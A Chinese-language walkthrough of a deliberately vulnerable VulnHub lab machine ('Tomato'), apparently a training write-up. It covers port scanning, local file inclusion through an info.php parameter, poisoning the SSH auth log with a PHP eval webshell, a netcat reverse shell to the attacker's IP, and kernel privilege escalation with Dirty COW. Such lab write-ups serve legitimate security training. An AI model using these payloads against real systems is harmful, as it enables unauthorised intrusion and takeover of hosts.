渗透测试——Tomato 靶场完整渗透思路(本地文件包含LFI,脏牛提取)

本文详细介绍了 VulnHub-Tomato 靶机的渗透测试过程。包括靶机部署,通过 nmap 等工具进行信息收集,发现文件包含漏洞并利用其查看文件、写入一句话木马,实现反弹 shell 和生成可交互式 shell,最后使用sh脚本进行提权。

文章目录


靶机介绍

信息收集

这里我们通过nmap对目标主机进行信息收集:

bash 复制代码
# 确定目标主机的IP地址
nmap -sP 192.168.44.0/24

# 确定开放了哪些端口服务
nmap -sC -sV -A -T4 -p- 192.168.44.133

结果如下:

  • 21端口:ftp服务(vsftpd 3.0.3),用于在客户端与服务器之间进行文件的上传、下载等传输操作。
  • 80端口:http服务(Apache httpd 2.4.18),通过HTTP协议对外提供Web网页访问服务,对应站点标题为Tomato。
  • 2211端口:ssh服务(OpenSSH 7.2p2),用于加密远程登录服务器、执行命令或传输文件,此端口为非默认SSH端口(默认22)。
  • 8888端口:http服务(nginx 1.10.3),提供Web服务但配置了基础认证,需输入用户名和密码才能访问,Nginx常作为反向代理或轻量级Web服务器使用。

80 和 8888 端口分别使用 Apache 和 Nginx 两种不同的 Web 服务器,需分别针对其版本特性进行后续排查

这里我们分别尝试访问:http://192.168.44.133/

(只有一个图片,源代码并没有可用信息;)

访问 **http://192.168.44.133:8888/**,发现需要账号密码:

Web目录枚举

所以我们只能对其进行目录扫描,用多种工具进行尝试避免遗漏:

可以得到一个antibot_bot 目录;

无可用信息;

结果如上,所以需要学会使用多种工具进行信息收集;


所以我们访问: http://192.168.44.133/antibot_image/antibots/

发现了许多目录:

经过排查,只有info.php 才能访问,其他目录均为空白信息:

基础环境与版本信息

  • 操作系统: Linux ubuntu 4.4.0-21-generic (Ubuntu 16.04.15)。这是一个较旧的内核版本,可能存在内核提权漏洞(如 Dirty Cow 等)。
  • PHP 版本: 7.0.33
  • Web Server: Apache/2.4.18
  • 绝对路径: /var/www/html/antibot_image/antibots/info.php

关键安全配置分析:

配置项 取值 说明
allow_url_fopen On 允许从远程 URL 读取数据。
allow_url_include Off 关键防线:虽然开启了 allow_url_fopen,但关闭了此项,意味着无法直接通过 include 'http://evil.com/shell.txt' 进行远程文件包含 (RFI)。
disable_functions 见下方说明 禁用了 pcntl_* 系列函数,但并未禁用常见的执行函数如 system, exec, passthru, shell_execproc_open。这意味着如果能拿到 Webshell,执行系统命令基本无阻碍。
open_basedir no value 未设置。这意味着 PHP 脚本理论上可以访问系统中的任何可读文件(如 /etc/passwd),没有跨目录访问限制。

通过分析info.php内容,我们可以得知该系统可能存在本地文件包含 (LFI)漏洞;

漏洞利用

本地文件包含 (LFI)

由于 allow_url_includeOff,你无法直接加载远程 Shell,但可以读取本地敏感文件:

bash 复制代码
Payload: 
?image=/etc/passwd 
?image=../../../../etc/passwd

结果如下,确实存在:

光能访问文件可不行,我们还需要拿下这台主机的控制权才可以;

日志注入(Log Inclusion)

既然知道 Web Server 是 Apache,且 allow_url_include 关闭,可以尝试将恶意代码写入日志,然后通过 include 包含该日志文件来实现 RCE。

可利用的日志文件

但首先第一步,我们需要哪些日志我们能够利用:

  • /var/log/apache2/access.log :记录所有 HTTP 请求。通过修改 User-Agent 注入木马最常用。
  • /var/log/apache2/error.log :记录 Web 报错。通过请求一个包含恶意代码的不存在路径(404 错误)注入。
  • /var/log/nginx/access.log:Nginx 的访问日志。利用方式与 Apache 访问日志完全一致。
  • /var/log/nginx/error.log:Nginx 的错误日志。记录请求头过长或路径非法等产生的错误。
  • /var/log/auth.log :Ubuntu/Debian 认证日志。通过 SSH 登录时将 用户名 设置为木马代码来注入。
  • /var/log/secure :CentOS/RHEL 认证日志。作用与 auth.log 相同,记录登录尝试。

通过尝试,我只发现了/var/log/auth.log 存在,所以我们输入下面方法尝试注入:

使用 nc (Netcat) 模拟原始连接(最底层、最稳)

这是跳过所有客户端校验的最直接方法。由于 nc 只负责发送原始字节,它不会管你的用户名里有什么字符。

  1. 在 Kali 终端执行:
bash 复制代码
nc -nv 192.168.44.133 2211
  1. 连接成功后,你会看到类似 SSH-2.0-OpenSSH_7.2p2... 的 banner。
  2. 此时直接粘贴以下内容并按回车(即使它看起来不像合法的 SSH 协议请求):
php 复制代码
<?php phpinfo(); @eval($_POST['sss']); ?>
  1. 你会看到一个协议报错,连接会断开。
  2. 得到结果:
  1. 结果 :这段 PHP 代码会被 SSH 服务端作为"非法尝试登录的用户名"记录在 /var/log/auth.log 中。
验证与利用

使用 Burp Suite 发送一个 POST 请求:

  • URL : http://192.168.44.133/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log
  • Body : sss=system('id');

成功返回结果:

接下来我们就需要用它反弹一个shell到Kali上;

方法一:nc监听

Kali 终端(IP: 192.168.44.129)执行以下命令,开启 9001 端口监听:nc -lvnp 9001

目标机器构造反弹 Shell Payload:sss=system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.44.129 9001 >/tmp/f');

方法二:蚁剑连接

这里我们通过一句话木马,将其保存在了/var/log/auth.log上,所以可以通过蚁剑进行连接:

输入连接:http://192.168.44.133/antibot_image/antibots/info.php?image=.../.../.../.../.../.../var/log/auth.log


随后成功进入目标机器,可以进行我们的提权操作;

后渗透:提权

我们进入了目标机器,可以上传工具对其进行漏洞等信息收集:

根据版本信息,我们可以知道这是 Ubuntu 16.04 的早期内核,存在多个可以直接导致 Root 权限提升 的重量级内核漏洞:

漏洞名称 CVE 编号 风险等级 说明
Dirty COW CVE-2016-5195 极高 (Critical) 经典写时复制漏洞,通过修改 /etc/passwd 提权。
Double-Put CVE-2016-4557 高 (High) 针对 BPF 系统调用的漏洞。
OverlayFS CVE-2021-3493 高 (High) 较新的提权手段,对旧内核兼容性极好。
AF_PACKET CVE-2016-8655 中 (Medium) 竞态条件漏洞,通常需要特定的系统配置。

这里因为蚁剑上不好执行各种.sh脚本,所以我把它转移到Kali上执行;

  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.44.129 9001 >/tmp/f
  • nc -lvnp 9001

随后执行脚本:linpeas.sh

版本内核:

内核可利用漏洞:

我们将信息丢给GPT分析,得到结果:

1. CVE-2021-3493 (Ubuntu OverlayFS)
  • 理由:这是列表中最新的针对 Ubuntu 的提权漏洞。它极其稳定,不容易把服务器打蓝屏。
  • 适用性:LinPEAS 明确标出它适用于 Ubuntu 16.04 且内核在 3.13 到 5.14 之间。
2. CVE-2017-16995 (eBPF verifier)
  • 理由 :这是 Ubuntu 16.04 上最经典 的提权漏洞。你的 unpriv_bpf_disabled = 0 正好满足利用条件。
  • LinPEAS 评分Rank 5 (最高分)
3. CVE-2016-5195 (Dirty COW)
  • 理由:脏牛漏洞在你的内核版本(4.4.0-21)中是必中的。
  • 特点 :它通过改写 /etc/passwd 或覆盖 SUID 程序来拿权限。

漏洞不唯一,这个版本的Ubuntu有很多漏洞,大家可以自行尝试;

漏洞提权:尝试脏牛

这里我使用脏牛提权,先在Kali里进行编译,然后上传到目标机器进行执行:

md,尝试了几个漏洞都失败了,都是版本太低要么就是不合适,浪费我时间;

bash 复制代码
# 编译执行:
chmod +x dirty
./dirty [你设置的新密码]

创建用户成功后:

bash 复制代码
# 切换用户,即为root权限
su toor
123456

当然也很容易发生另一个结局:机器被打崩了,所以脏牛非迫不得已不用

使用CVE-2017-6074进行提权

这里使用网上的WP进行尝试;

又崩了。。。无语;

总结

最后其实就是通过找到payload然后执行脚本进行提取,与之前的靶机没什么两样;

期待下次再见;

相关推荐
scofield_gyb2 小时前
PHP进阶-在Ubuntu上搭建LAMP环境教程
开发语言·ubuntu·php
数据知道2 小时前
MongoDB网络安全配置:详细讲述IP白名单与防火墙规则
tcp/ip·mongodb·web安全
新缸中之脑2 小时前
用Gws+Valyu实现晨报自动化
运维·自动化·php
white-persist3 小时前
【CTF线下赛 AWD】AWD 比赛全维度实战解析:从加固防御到攻击拿旗
网络·数据结构·windows·python·算法·安全·web安全
民乐团扒谱机3 小时前
【读论文】基于学习的利用内置加速度计的实用智能手机窃听技术
深度学习·网络安全·智能手机·加速度计·窃听技术·运动传感器
IT WorryFree3 小时前
OpenClaw 对接飞书 Debug 指南
开发语言·php·飞书
Filotimo_10 小时前
5.3 Internet基础知识
开发语言·php
Atomic1213814 小时前
frp 内网穿透工具详细使用指南
web安全·网络安全·渗透测试
pangares15 小时前
防火墙安全策略(基本配置)
服务器·php·apache